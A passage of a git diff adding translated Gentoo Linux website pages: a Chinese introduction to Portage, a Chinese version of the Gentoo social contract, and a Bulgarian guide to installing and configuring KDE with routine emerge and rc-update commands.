+<title>Gentoo Linux</title>
+<section>
+<title>Gentoo Linux... 海報</title>
+<body>
+		<fig link="/images/poster.jpg"/>
+</body>
+</section>
+<section>
+<title>用一段話介紹 Gentoo Linux</title>
+<body>
+
+<p>
+我們製造 Gentoo Linux, 一個可以針對任何一種軟體所需自動最佳化性能和自訂的 Linux 版本.
+Gentoo Linux 將給你最好的效能, 設定和最好的使用者和開發者社區體驗.
+</p>
+<p>
+感謝 Portage 的技術, Gentoo Linux 可以成為一個安全的伺服器, 開發工作站, 專業桌上型電腦,
+遊戲主機, 嵌入式系統, 或是其他你想要他所作的. 因為這項幾乎無限的功能, 我們叫 Gentoo Linux 
+一個 <b>meta</b> distribution.</p>
+
+</body>
+</section>
+<section>
+<title>什麼是 Portage?</title>
+<body>
+
+<p><b>Portage</b> 是 Gentoo Linux 心臟, 執行著許多重要功能.
+舉例來說, Portage 是 Gentoo Linux 當中的 <e>軟體分佈</e> 系統. 
+要取得最新的 Gentoo Linux 軟體, 你只需要輸入一個指令: <c>emerge sync</c>.
+這個指令將告訴 Portage 透過網路更新本地的 Portage tree. 你本地的 Portage tree
+將會更新為最新, 並且超過 <uri link="/dyn/pkgs/index.xml">4000 份軟體套件的安裝程序</uri>.
+而這份 Portage tree 時時刻刻都在增加新的軟體.</p>
+
+<p>Portage 也叫做 <e>套件安裝編譯</e> 系統. 當你想要安裝一個套件, 你將要輸入
+<c>emerge 套件名稱</c>, 此時, Portage 將會按照你設定的參數編譯一個自動的版本, 
+針對硬體進行效能最佳化. 這個功能將會包括你想要啟用的 -- 和不想起用的.
+</p>
+
+<p>
+Portage 也會在你輸入 <c>emerge -u world</c> 的時候, 自動將你的系統裡面的軟體
+進行更新.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Gentoo Linux 1.4</title>
+<body>
+	
+<p>如果你願意, Portage 將會讓你的 Gentoo Linux 系統保持在 "最新" 的狀態. 因為如此,
+有經驗的 Gentoo 使用者將部會注意到"新版"的 Gentoo Linux -- 最新的版本將會在
+你輸入 <c>emerge sync</c> 的時候進行. 你將不需要浪費幾個月的時間等待"新版"的
+Gentoo Linux. 因為 Gentoo Linux 無時無刻地更新, 讓你可以馬上使用.
+</p>
+
+<p>當然, 我們有提供官方的 Gentoo Linux 光碟, 這樣可以確保安裝時有"夠新"的軟體.
+以下為最近的 1.4 版本的 Gentoo Linux 所包含的軟體.
+</p>
+
+<ul>
+<li>支援 x86, PowerPC, UltraSparc 和 Alpha 處理器</li>
+<li>x86 和 PowerPC 的 LiveCD 安裝</li>
+<li>最新和穩定的<uri link="http://www.gentoo.org/dyn/pkgs/kde-base/kde.xml">KDE</uri> 和
+<uri link="http://www.gentoo.org/dyn/pkgs/gnome-base/gnome.xml">GNOME</uri></li>
+<li>多個自訂過的 Linux 核心 (2.4.20 2.4.21_pre)</li>
+<li>最新的 GNU 開發環境 (glibc 2.3, gcc 3.2.2)</li>
+<li>完善的檔案系統支援: ReiserFS, XFS, ext3, EVMS, LVM</li>
+<li>完善的硬體支援, NVIDIA, Creative Labs Live! 和 Audigy</li>
+<li>模組式的 OpenGL 和編譯子系統 (支援多版本)</li>
+<li>乾淨, 相依性的系統啟用程序</li>
+<li>新的 Gentoo Linux 安全倡議</li>
+<li>4000+ 個最新和最好的軟體</li>
+<li>提升 Portage 性能</li>
+</ul>
+
+<p>
+如果 Gentoo Linux 的性能, 速度, 彈性 能夠吸引你, 那我們建議你試試. 
+我們不認為會讓你失望.
+</p>
+
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/zh_tw/contract.xml b/xml/htdocs/main/zh_tw/contract.xml
new file mode 100644
index 00000000..9d623342
--- /dev/null
+++ b/xml/htdocs/main/zh_tw/contract.xml
@@ -0,0 +1,70 @@
+<?xml version='1.0'?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<mainpage lang="zh_tw">
+<title>Gentoo Linux 社群契約</title>
+<author title="Author"><mail link="drobbins@gentoo.org">Daniel Robbins</mail></author>
+<author title="Translator"><mail link="bennyc@gentoo.org">Benny Chuang</mail></author>
+<abstract></abstract>
+
+<version>1.2</version>
+<date>2003-07-19</date>
+
+<chapter>
+	<title>Gentoo Linux 社群契約</title>
+	<section>
+		<title>關於 Gentoo Linux 社群契約</title>
+	<body>	
+		<p>
+		這份社群契約主要的目的將解釋 Gentoo Linux 開發團隊的制度. 剩下的部份則是從 <uri
+		link="http://www.debian.org/social_contract">Debian 社群契約</uri> 演釋出的, 大部份的契約都很類似, 
+		附有爭議性的條例已被移除. 如果你有任何意見, 請把他們寄到<mail link="gentoo-dev@gentoo.org">
+		gentoo-dev@gentoo.org</mail>.
+		</p>
+	</body>
+	</section>
+
+	<section>
+		<title>Gentoo Linux 現在/永遠都會屬於免費</title>
+	<body>
+
+<p>
+我們的 Gentoo Linux 在 GNU General Licence 版本 2 下所發表為免費軟體. 任何外面
+所提供給 Gentoo Linux 的軟體 (免費散佈/修改的原始檔或是二進位) 的檔案有可能不適合 Gentoo Linux.
+Gentoo Linux 除了 GNU General Public License 或是 Open Source Initiative 
+(<uri link="http://www.opensource.org/licenses/index.html">OSI</uri>.)
+版權下的軟體以外, 
+不然我們永遠不會 <c>依賴</c> 任何一種軟體.
+</p>
+
+<note>
+我們目前正在考慮 OSI <e>和</e> 免費軟體基金會 (<uri link="http://www.gnu.org/">FSF</uri>) 
+的版權軟體來擴充以上的條例來滿足 Gentoo Linux 套件的需求.
+</note>
+
+	</body>
+	</section>
+
+	<section>
+		<title>我們會回饋給免費軟體社群</title>
+	<body>
+<p>
+必要時, 我們會建立和免費軟體作者之間的關係. 我們會提供臭蟲修復, 更改, 使用者需求 等等. 給
+那些 "上游" 的作者. 我們會以文件清楚的表明對 Gentoo Linux 有貢獻的及為了搭配而修改過的軟體
+(不論是 Patch 或是 "sed tweak" 等等). 雖然不是每個人都有能力,時間更改軟體, 
+我們將以文件的方式解釋我們所作的修改和調整. 對於大型的免費軟體社群來說, 這是一個相當重要的步驟.
+</p>
+	</body>
+	</section>
+
+	<section>
+		<title>我們不會隱藏問題</title>
+	<body>
+<p>
+我們將會把所有的<uri link="http://bugs.gentoo.org/">臭蟲申報</uri> 開放給大家.
+所有的申報都是即時性的, 並且可以馬上查閱.
+</p>
+	</body>
+	</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/proj/bg/desktop/kde/kde-config.xml b/xml/htdocs/proj/bg/desktop/kde/kde-config.xml
new file mode 100644
index 00000000..93af4e61
--- /dev/null
+++ b/xml/htdocs/proj/bg/desktop/kde/kde-config.xml
@@ -0,0 +1,777 @@
+<?xml version='1.0' encoding='UTF-8'?>
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/bg/desktop/kde/kde-config.xml,v 1.2 2009/03/20 17:27:21 neysx Exp $ -->
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide>
+
+<title>Как да конфигурираме KDE</title>
+
+<author title="Author">
+  <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+<author title="Editor">
+  <mail link="greg_g@gentoo.org">Gregorio Guidi</mail>
+</author>
+<author title="Translator">
+  <mail link="admin@projectkick.org">Dian Dimitrov</mail>
+</author>
+
+<abstract>
+Една от най - използваните графични среди е KDE. Това ръководство 
+описва всички аспекти на KDE : инсталация , конфигурация и начин на използване.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.22</version>
+<date>2007-06-23</date>
+
+<chapter>
+<title>Какво е K Desktop Environment?</title>
+<section>
+<title>Проекта</title>
+<body>
+
+<p>
+<uri link="http://www.kde.org">Проекта KDE</uri> е безплатен проект 
+посветен на развитието на KDE, графична среда ( с отворен код ) за Linux и Unix работни станции.
+Развитието се извършва от няколко стотин софтуерни инженери от цял свят. Вижте също <uri
+link="http://www.kde.org/whatiskde/project.php">Проекта KDE </uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Софтуер</title>
+<body>
+
+<p>
+K Desktop Environment е лесна за използване графична среда. Отделно от основните 
+компоненти KDE предлага готови за използване програми за 101 задачи: файл
+управление, интернет браузър, офис приложения, електронна поща работа, ... 
+Всичко това е включено в KDE.
+</p>
+
+<p>
+KDE графичната среда е преведена на повече от 70 езика и има огромна потребителска база.
+За тези, които се интересуват, има достъпни много <uri
+link="http://www.kde.org/screenshots/">снимки</uri>. За повече информация прочетете <uri link="http://www.kde.org/whatiskde/">Какво е
+KDE?</uri> статия на <uri link="http://www.kde.org">KDE.org</uri>.
+</p>
+</body>
+</section>
+<section>
+<title>Общността</title>
+<body>
+
+<p>
+Има много KDE сайтове. На <uri
+link="http://www.kdenews.org">KDEnews.org</uri> ще намерите последните новини за KDE.
+<uri link="http://www.kdedevelopers.org">KDEdevelopers.org</uri> е специално фокусиран на KDE развитието, докато <uri
+link="http://www.kde-forum.org">KDE-forum</uri> е предназначен за по - голямата част от потребителите. Още връзки могат да бъдат намерени на 
+<uri
+link="http://www.kde.org/family/">KDE Family  страницата</uri>
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Инсталиране на KDE</title>
+<section>
+<title>Какво ви трябва?</title>
+<body>
+
+<p>
+Ако се интересувате от инсталиране на KDE (или KDE помощ), ще трябва да използвате променливите с <c>kde</c> flag, както и 
+<c>qt3</c> или <c>qt4</c> flag ( или и двата). Qt е графична библлиотека, която KDE използва, <c>qt3</c> е за версия 3.х, докато 
+<c>qt4</c> е за по - новата Qt 4.x библиотека. Ноти един USE flag не е необходим за инсталирането на KDE. Въпреки това има няколко пакета, които ви предлагат
+избор от <c>qt3</c> или <c>qt4</c> библиотеки,
+</p>
+
+<p>
+Също така трябва да добавите <c>hal</c>, ако искате да добавите поддръжка за инсталиране на устройства автоматично, както е обеснено по - долу в 
+<uri link="#kde_device_mounting">Настройка на KDE  и инсталиране на устройства</uri>.
+</p>
+
+<p>
+Ако не желаете да използвате  <uri link="http://www.arts-project.org/">aRts</uri> за всичката ви мултимедия, премахнете  <c>arts</c> USE flag.
+</p>
+
+<note>В Gentoo 2006.1 има редица нови профили, 
+включително и <c>desktop</c> субпрофил.
+Желателно е да преминете за този профил, ако съществъва във вашата архитектура, 
+моля прочетете <uri link="/doc/en/gentoo-upgrading.xml">Gentoo</uri>.
+</note>
+
+
+
+
+</body>
+</section>
+<section>
+<title>Инсталиране на KDE чрез отделни пакети</title>
+<body>
+
+<note>
+Препоръчително е да използвате отделни пакети при инсталацията на KDE ( по - добре е от използването на монолитни пакети, и двата метода ще бъдат
+представени) както е показано малко по - надолу.
+</note>
+<p>
+Ако искате да имате повече контрол над инсталираните пакети, имате възможността да инсталирате единични програми, по Ваше желание.
+За да научите повече отностно единичните KDE програми вижте <uri
+link="/doc/en/kde-split-ebuilds.xml">Split Ebuilds HOWTO</uri>
+</p>
+
+<p>
+Да знаете какво трябва и какво не трябва да инсталирате е доста трудно, затова Gentoo предоставя няколко meta пакети, които ще инсталират определни
+пакети.
+</p>
+
+<ul>
+  <li>
+   Ако искате пълна KDE инсталация, използвайте <c>kde-meta</c>.
+  Този пакет ще изкара всички KDE приложения като зависимости.
+  </li>
+  <li>
+    Ако желаете основна KDE инсталация, инсталирайте <c>kdebase-startkde</c>. Можете да инсталирате допълнителни програми когато пожелаете.
+  </li>
+  <li>
+  Ако желаете нещо средно между <c>kde-meta</c> и <c>kdebase-startkde</c>, инсталирайте <c>kdebase-meta</c>. Това ще инсталира няколко 
+  допълнителни приложения като <c>konsole</c> и <c>kdm</c>.
+  </li>
+</ul>
+
+<p>
+Тези две възможности са крайни граници; вероятно сте заинтересовани от нещо смесено.
+За да Ви направим решението по - лесно, следващата таблица дава кратка представа за 
+наличните KDE пакети.
+</p>
+
+<p>
+Тези пакети <e>не са</e> част от инсталацията на <c>kdebase-startkde</c>.
+</p>
+
+<table>
+<tr>
+  <th>Ebuild име</th>
+  <th>Описание</th>
+</tr>
+<tr>
+  <ti><c>akregator</c></ti>
+  <ti>
+  Приложението за лесно управление и разглеждане на RSS feeds
+  </ti>
+</tr>
+<tr>
+  <ti><c>juk</c></ti>
+  <ti>
+  Медиа плеър с дизайн напомнящ на Apple
+    iTunes.
+  </ti>
+</tr>
+<tr>
+  <ti><c>kate</c></ti>
+  <ti>
+  <uri link="http://kate.kde.org/">KDE разширен текстов редактор</uri> с много големи възможности.
+  </ti>
+</tr>
+<tr>
+  <ti><c>kmail</c></ti>
+  <ti>
+  Организирайте вашата електронна поща ефективно с <uri
+    link="http://kmail.kde.org/">KMail</uri>.
+  </ti>
+</tr>
+<tr>
+  <ti><c>knetattach</c></ti>
+  <ti>
+  С KNetAttach ( известен като <e>Network Folder Wizard</e>), можете лесно да добавите допълнителни мрежови папки във Вашият работен плот.
+  </ti>
+</tr>
+<tr>
+  <ti><c>knode</c></ti>
+  <ti>
+    KNode - KDE новинар.
+  </ti>
+</tr>
+<tr>
+  <ti><c>konsole</c></ti>
+  <ti>
+    <uri link="http://konsole.kde.org/">Konsole</uri> е KDE  терминал емулатор.
+  </ti>
+</tr>
+<tr>
+  <ti><c>kontact</c></ti>
+  <ti>
+    <uri link="http://kontact.kde.org/">Kontact</uri> е мениджър на личната информация. Помага за управлението на комуникациите и организацията.
+  </ti>
+</tr>
+<tr>
+  <ti><c>kopete</c></ti>
+  <ti>
+    <uri link="http://kopete.kde.org/index.php">Kopete</uri> е KDE Instant
+    Messenger поддържащ всички познати IM протоколи.
+  </ti>
+</tr>
+<tr>
+  <ti><c>korganizer</c></ti>
+  <ti>
+    <uri link="http://korganizer.kde.org/">Korganizer</uri> е тефтерът на KDE.
+  </ti>
+</tr>
+<tr>
+  <ti><c>kpdf</c></ti>
+  <ti>
+  С <uri link="http://kpdf.kde.org/">KPDF</uri> можете да разглеждате и работите 
+  с PDF файлове. Също така има много уникални характеристики, които ще засилят удоволствието ви от преглеждане на файлове.
+  </ti>
+</tr>
+<tr>
+  <ti><c>kscd</c></ti>
+  <ti>
+  Графичен CD плеър за KDE.
+  </ti>
+</tr>
+<tr>
+  <ti><c>ksnapshot</c></ti>
+  <ti>
+  С ksnapshot можете да правите снимки на екранът.
+  </ti>
+</tr>
+<tr>
+  <ti><c>kuickshow</c></ti>
+  <ti>
+   kuickshow програмата е за преглеждане и показване на различни картинни формати.
+  </ti>
+</tr>
+</table>
+
+<p>
+И това е само върха на сладолета. Ако искате да научите повече за всички възможни KDE програми погледнете  <uri
+link="http://packages.gentoo.org/category/kde-base?full_cat">kde-base
+category</uri>. Тяхната функция ще намерите в описанието.
+</p>
+
+<p>
+За да видите какво emerge ще инсталира, използвайте <c>emerge -p</c> заедно с <c>less</c>, в противен случай може да не видите всички пакети.
+</p>
+
+<pre caption="Преглед на KDE инсталацията">
+<comment>(Заместете с Вашият избор от пакет(и))</comment>
+# <i>emerge -p kdebase-startkde | less</i>
+</pre>
+
+<p>
+Ако сте доволни от това, което ще видите махнете <c>-p</c>. Този процес ще отнеме известно време, защото KDE е доста голяма графична среда.
+Не се изненадвайте ако процесът не завърши веднага.
+</p>
+
+</body>
+</section>
+<section>
+<title>Инсталиране на KDE като монолитни пакети</title>
+<body>
+
+<p>
+Въпреки, че отделните пакети са препоръчителни, Вие можете да инсталирате и монолитни пакети
+</p>
+
+<p>
+KDE издава нови версии на графичната среда като съвкупсност от 16 големи пакета, всеки от които съдържа
+много програми ( наречени "монолитни"). Трябва да решите кой от тези пакети желаете да инсталирате.
+</p>
+
+<p>
+Ако искате да видите какво е да имате всички пакети инсталирани, просто проверете :
+</p>
+
+<pre caption="Списък на всичкипакети, които KDE ще инсталира">
+# <i>emerge --pretend kde | less</i>
+</pre>
+
+<p>
+Ако не се интересъвате от всички тези пакети, можете да ги инсталирате индивидуално. Определено ще искате <c>kdebase</c> пакетът, защото 
+съдържа основните пакети и необходимите променливи в KDE.  Таблицата показва някой от пакетите, които можете да инсталирате.
+</p>
+
+<table>
+<tr>
+  <th>Пакет</th>
+  <th>Описание</th>
+</tr>
+<tr>
+  <ti>kdeaccessibility</ti>
+  <ti>
+  Свързани програми с достъп, управлявани от <uri
+    link="http://accessibility.kde.org">KDE Accessibility Project</uri>
+  </ti>
+</tr>
+<tr>
+  <ti>kdeadmin</ti>
+  <ti>
+    KDE административни инструменти, като <c>KCron</c> (График на задачи),
+    <c>KUser</c> (Потребител мениджър) и <c>KDat</c> (Backup мениджър).
+  </ti>
+</tr>
+<tr>
+  <ti>kdeartwork</ti>
+  <ti>
+  Различни неща, като screen savers и теми. Вижте също  <uri
+    link="http://www.kde-artists.org/">www.kde-artists.org</uri>
+  </ti>
+</tr>
+<tr>
+  <ti>kdeedu</ti>
+  <ti>
+  Образователни KDE приложения фокусирани на учениците от 3 до 18 години. Вижте също <uri link="http://edu.kde.org">KDE Edu Project</uri>
+  </ti>
+</tr>
+<tr>
+  <ti>kdegames</ti>
+  <ti>
+  Различни KDE игри. Вижте също <uri 
+    link="http://games.kde.org">KDE Games Center</uri>.
+  </ti>
+</tr>
+<tr>
+  <ti>kdegraphics</ti>
+  <ti>
+  Графични инструменти за KDE :<c>KSnapshot</c>, <c>KolourPaint</c> (Елементарен графичен редактор), <c>Kpdf</c>,
+  <c>KIconEdit</c> (Icon редактор) и <c>KPovModeler</c>
+    ( 3D Моделиер).
+  </ti>
+</tr>
+<tr>
+  <ti>kdemultimedia</ti>
+  <ti>
+  Свързани с мултимедия приложения, включително поддръжка за CD, MP3, DVD, звукови и видео приложения.
+  Повече информация може да бъде намерена на <uri link="http://multimedia.kde.org">KDE Multimedia Project</uri>.
+  </ti>
+</tr>
+<tr>
+  <ti>kdenetwork</ti>
+  <ti>
+  Мрежови приложения като <c>Kopete</c> (Многопротоколни Instant
+    Messaging), <c>kppp</c> (Dial-In) and <c>KSirc</c> (IRC клиент). Забележете, че <c>konqueror</c>
+    ( Файлов мениджър <e>и</e> Браузър ) е част от <c>kdebase</c>!
+  </ti>
+</tr>
+<tr>
+  <ti>kdepim</ti>
+  <ti>
+  Приложения за мениджмънт на лична информация, като <c>KOrganizer</c> (Журнал),
+  <c>KAddressbook</c> (Телефонен указател), <c>Kontact</c> and
+    <c>KMail</c> (E-mail). За повече информация -  <uri
+    link="http://pim.kde.org">KDE PIM Project</uri>
+  </ti>
+</tr>
+<tr>
+  <ti>kdesdk</ti>
+  <ti>
+  Инструменти за развитие, включително <c>KBabel</c> ( Преводи ), 
+  <c>KBugBuster</c> ( Графично приложение за следене на грешки ) и
+  <c>Kompare</c> ( Графично проложение за сравнение на файлове ).
+  </ti>
+</tr>
+<tr>
+  <ti>kdetoys</ti>
+  <ti>
+  Различни играчки за забавление, докато чакате доставката на пица.
+  Ще намерите аплети като <c>eyesapplet</c> и <c>amor</c>, които не правят друго освен да забавят машината Ви.)
+  </ti>
+</tr>
+<tr>
+  <ti>kdeutils</ti>
+  <ti>
+  Графични системни приложения като <c>kcalc</c> (Калкулатор), <c>kdessh</c> (SSH
+  терминал), <c>kfloppy</c> (Floppy-свързани функции).
+  </ti>
+</tr>
+<tr>
+  <ti>kde-i18n</ti>
+  <ti>
+  Международна документация за KDE. Вижте също <uri link="http://i18n.kde.org">KDE i18n
+    project</uri> за повече информация.
+  </ti>
+</tr>
+</table>
+
+<p>
+Например, за да инсталирате KDE само с мрежови и административни приложения:
+</p>
+
+<pre caption="Примерза инсталация на KDE компоненти">
+# <i>emerge kdebase kdenetwork kdeadmin</i>
+</pre>
+
+<p>
+В случай, че се чудите, инсталирането на KDE отнема доста време.
+</p>
+
+</body>
+</section>
+<section>
+<title>Външни KDE приложения</title>
+<body>
+
+<p>
+Броят на приложенията е доста по - голям от този на официалната версия. Има още стотици приложения, които използват
+рамката и библиотеките. Ето само няколко от най - известните:
+</p>
+
+<table>
+<tr>
+  <th>Име на пакет</th>
+  <th>Описание</th>
+</tr>
+<tr>
+  <ti><c>koffice</c></ti>
+  <ti>
+    <uri link="http://www.koffice.org/">KOffice</uri> е всеобхватен офис пакет, с приложения за текстообработка (KWord),
+    изчисления на електронна таблица(KSpread), презентация (KPresenter), графичен манипулатор (Krita), управление на бази данни (Kexi) и много други. 
+     KDE може да се инсталира чрез <c> kde</c> или <c> kde-meta </c> пакети. Можете да инсталирате KOffice като отделен пакет (<c>koffice</c>),
+    или като набот от отделни пакети (<c>koffice-meta</c>).
+  </ti>
+</tr>
+<tr>
+  <ti><c>amarok</c></ti>
+  <ti>
+  <uri link="http://amarok.kde.org/">AmaroK</uri>  е мощен музикален плеър за Unix/Linux.
+  </ti>
+</tr>
+<tr>
+  <ti><c>k3b</c></ti>
+  <ti>
+    <uri link="http://www.k3b.org/">K3B</uri> е CD/DVD записваща програма с Аудио поддръжка. Записването на дискове никога не е било толкова лесно.
+  </ti>
+</tr>
+<tr>
+  <ti><c>kaffeine</c></ti>
+  <ti>
+    <uri link="http://kaffeine.sourceforge.net/">Kaffeine</uri> е мултимедиа - плеър за KDE с много възможности.
+  </ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>Първи впечатления</title>
+<body>
+
+<p>
+Нека да погледнем резултатът. Майка ви сигурно Ви е казала никога да не влизате като root. Нека да приемем съветът и изпробваме 
+KDE като потребител. Влезте в системата като потребител и конфигурирайте сесията така, че да се стартира KDE, когато
+изпълните <c>startx</c>. Това можете да направите като запишете <c>exec startkde</c> в
+<path>~/.xinitrc</path> ( вижте също <uri link="/doc/en/xorg-config.xml#using_startx">Използване на  startx</uri> в
+<uri link="/doc/en/xorg-config.xml">X Сървър Конфигурация</uri>):
+</p>
+
+<pre caption="Конфигуриране на вашата сесия">
+$ <i>echo "exec startkde" &gt; ~/.xinitrc</i>
+</pre>
+
+<p>
+Сега стартирайте графичната среда като изпълните командата <c>startx</c>.
+</p>
+
+<pre caption="Стартиране на KDE">
+$ <i>startx</i>
+</pre>
+
+<p>
+Ще бъдете поздравен от приложение наречено <c>KPersonalizer</c>.
+Поздравления! Хайде сега да видим как може да конфигурираме KDE...
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Конфигуриране на KDE</title>
+<section>
+<title>KPersonalizer</title>
+<body>
+
+<p>
+KPersonalizer е приложението, което конфигурира KDE. От голяма полза е, защото помага за бързи настройки според Вашите нужди.
+Когато стартирате графичната среда за първи път, KPersonalizer се стартира автоматично.
+</p>
+
+<p>
+Първият въпрос: KPersonalizer пита за страна и език. Понеже не сме инсталирали езиковите пакети
+все още, ще имате много малък избор. Ще сменим езикът по - късно ( ако се налага, разбитра се ).
+</p>
+
+<p>
+Вторият въпрос: <e>System Behavior</e> ( системно поведение ).
+Това включва вид на прозорците, мишка и др. Когато посочите определено
+поведение описанието се показва за Ваше улеснение. Ако не сте сигурни не се паникьосвайте - можете да 
+промените поведението, когато пожелаете.
+</p>
+
+<p>
+Трети въпрос:  KPersonalizer пита за количеството eye-candy, което да активира.
+Колкото повече eye-candy, толкова повече процесорът ще бъде стресиран.
+При 600 Mhz CPU и 128 Mb памет, пускането на пълен eye-candy, няма да бъде проблем.
+</p>
+
+<p>
+Накрая KDE пита какъв стил желаете да използвате. А стила определя декорацията на прозорците,
+тема, бутони и т.н. Опитайте няколко различни стила, за да видите кой Ви допада най - много.
+Споменахме, ли че KDE е напълно конфигурируема?
+</p>
+
+<p>
+Сега седнете удобно и се насладете -- KDE ще се стартира и Вие ще бъдете поздравен от хубава, изчистена и 
+функционална графична среда.
+</p>
+
+</body>
+</section>
+<section>
+<title>Инсталиране на езикови пакети</title>
+<body>
+
+<p>
+Ако Английският не Ви е роден език, или просто се заинтересовани 
+от други езици, моля прочетете това. Ще инсталираме езиковите 
+пакети за езиците, които искате да използвате с KDE.
+</p>
+
+<p>
+Езикови пакети се съдържат в <c>kde-i18n</c>. За да инсталирате езикови пакети по Ваш избор,
+трябва да поставите <c>LINGUAS</c> променлива за езиците, които желаете.
+Съветваме Ви да поставите тази променлива в <path>/etc/make.conf</path>, за да може 
+при подобрение ( update ) на системата да не се премахнат.
+</p>
+
+<pre caption="Поставяне на LINGUAS в /etc/make.conf">
+# <i>nano -w /etc/make.conf</i>
+<comment>(За пример ще инсталираме пакетът за Холандия(nl) 
+  и Френски (fr))</comment>
+LINGUAS="nl fr"
+</pre>
+
+<p>
+Сега изпълнете командата <c>emerge kde-i18n</c>, за да инсталирате езиковите пакети.
+Когато езиковите пакети са инсталирани пуснете KDE Control Center (K-menu &gt; Control Center).
+<e>Чрез</e> това приложение можете да контрулирате почти всяка част от KDE. Много по подробно от KPersonalizer.
+</p>
+
+<p>
+За да смените езика отидете до <c>Regional &amp; Accessibility</c>,
+<c>Country/Region &amp; Languages</c>. След това добавете език по Ваш избор.
+За да видите Вашето ( локализирано ) KDE в пълен престиж, излезте и влезте пак :) 
+</p>
+
+</body>
+</section>
+<section>
+<title>Графично влизане</title>
+<body>
+
+<p>
+Ако искате да използвате <c>kdm</c> като мениджър за графично влизане (което означава, че
+няма да се налага да влизате в терминал и да пишете <c>startx</c> всеки път), ще трябва да го инсталирате.
+След това ще трябва да редактирате конфигурационният файл и да настойте системата да влиза в графичен режим.
+</p>
+
+<note>
+Възможно е вече да имате <c>kdm</c> инсталиран. Ако получите грешка с блокиращи се пакети 
+<c>kde-base/kdm</c> продължете със следващата секция.
+</note>
+
+<pre caption="Инсталиране на kdm">
+# <i>emerge --ask kdm</i>
+</pre>
+
+<p>
+В <path>/etc/conf.d/xdm</path>, поставете <c>DISPLAYMANAGER</c> променливата като
+<c>kdm</c>.
+</p>
+
+<pre caption="Променяне на DISPLAYMANAGER в /etc/conf.d/xdm">
+# <i>nano -w /etc/conf.d/xdm</i>
+<comment>(Променете тази променлива)</comment>
+DISPLAYMANAGER="kdm"
+</pre>
+
+<p>
+Завършваме като добавяме <c>xdm</c> в default runlevel:
+</p>
+
+<pre caption="Добавяне на xdm в default runlevel">
+# <i>rc-update add xdm default</i>
+</pre>
+
+<p>
+Когато рестартирате системата, тя ще използва KDM като графичен мениджър за влизане.
+</p>
+
+<p>
+KDM предоставя списък на наличните сесии : KDE - разбира се -  и всички други 
+графични среди инсталирани на Вашият компютър. KDM намира сесиите, които са в
+<path>/usr/share/xsessions/</path>. Ако използвате KDM, не трябва да променяте 
+<path>~/.xinitrc</path>.
+</p>
+
+</body>
+</section>
+<section id="kde_device_mounting">
+<title>Настройка на KDE да открива устройства</title>
+<body>
+
+<!-- TODO add pmount package when pmount is in arch.
+     Also, add pmount to the default runlevel -->
+
+<p>
+KDE дава възможността да се откриват усройства като CDROM или USB с единичен клик в графичната среда.
+За да направите това трябва да имате KDE инсталирана с <c>hal</c> в  USE променливата, както и 
+<c>dbus</c> и <c>hal</c> инсталирани на Вашата система.
+Трябва също да добавите <c>dbus</c> и <c>hal</c> в default runlevel, както и да добавите 
+потребителското си име в <c>plugdev</c> групата.
+</p>
+
+<pre caption="Настройка на откриване на устройства">
+# <i>emerge --ask dbus hal</i>
+# <i>rc-update add dbus default</i>
+# <i>rc-update add hald default</i>
+<comment>Добавете &lt;user&gt; в plugdev групата</comment>
+# <i>gpasswd -a &lt;user&gt; plugdev</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Управление на KDE инсталации</title>
+<section>
+<title>Многократни Инсталации</title>
+<body>
+
+<p>
+Една особенност на KDE в Gentoo, е че когато нова версия излезе ( като например 3.5.х серията, която отменя
+3.4.х серията) можете да я инсталирате без да презапишете върху старата сесия.
+Ако имате версия 3.4 инсталирана и инсталирате 3.5, ще имате двете версии, едната 
+инсталирана в <path>/usr/kde/3.4/</path> и другата в <path>/usr/kde/3.5/</path>.
+</p>
+
+<p>
+Трябва да се спомене, че Вашите настройки за различните версии
+ще бъдат съхранявани на различни места в домашната директория.
+KDE 3.4 ще използва настройките от <path>/home/&lt;user&gt;/.kde3.4</path>.
+Когато пуснете KDE 3.5 за първи път директория <path>/home/&lt;user&gt;/.kde3.5</path>
+ще бъде създадена като вземе настройките от 3.4 директорията. 
+</p>
+
+<p>
+Друго което трябва да имате в предвид когато подобрявате KDE, е че може да
+възникнат проблеми с вече инсталирани проложения като например <c>koffice</c>, <c>amarok</c> или <c>k3b</c>.
+Ако възникнат такива проблеми просто преинсталирайте приложенията с новате версия. 
+След като започнете да използвате новата версия на KDE, трябва да преинсталирате всички проблемни 
+приложения, за да могат да се свържат с новите "библиотеки".
+</p>
+
+</body>
+</section>
+<section>
+<title>Премахване на стари версии</title>
+<body>
+
+<p>
+Когато имате няколко инсталирани версии на KDE идва проблемът как да премахнете старите, когато решите, че
+вече не са необходими. За съжаление portage не поддържа премахване на пакет със всичките му зависими пакети само с една команда.
+Ако използвате <c>emerge --unmerge kde</c> няма да премахнете същинските KDE пакети.
+</p>
+
+<p>
+За да премахнете KDE инсталация ( например 3.4 ), единични пакети трябва да се премахнат.
+</p>
+
+<pre caption="Премахване на KDE 3.4 пакети">
+# <i>emerge --unmerge =arts-3.4* =kdelibs-3.4* =kdebase-3.4* ...</i>
+</pre>
+
+<p>
+Това е много досадно, ако имате много пакети инсталирани. За Ваша радост 
+този процес може да бъде автоматизиран по много начини. Ето един от тях.
+</p>
+
+<p>
+Първо ще покажем списък с всички пакети, които искаме да премахнем. Ще използваме 
+ командата <c>equery</c>, която е част от <c>app-portage/gentoolkit</c> пакетът.
+</p>
+
+<pre caption="Показване на всички пакети за премахване">
+<comment>(Показване на всички инсталирани пакети)</comment>
+# <i>equery list kde-base/</i>
+<comment>(Показване и посочване на всички пакети от KDE 3.4)</comment>
+# <i>equery list kde-base/ | grep 3\.4</i>
+</pre>
+
+<p>
+На този етап трябва да направите двойна проверка, че списъка съотвества на 
+пакетите, които трябва да бъдат премахнати. Ако изглежда добре използвайте 
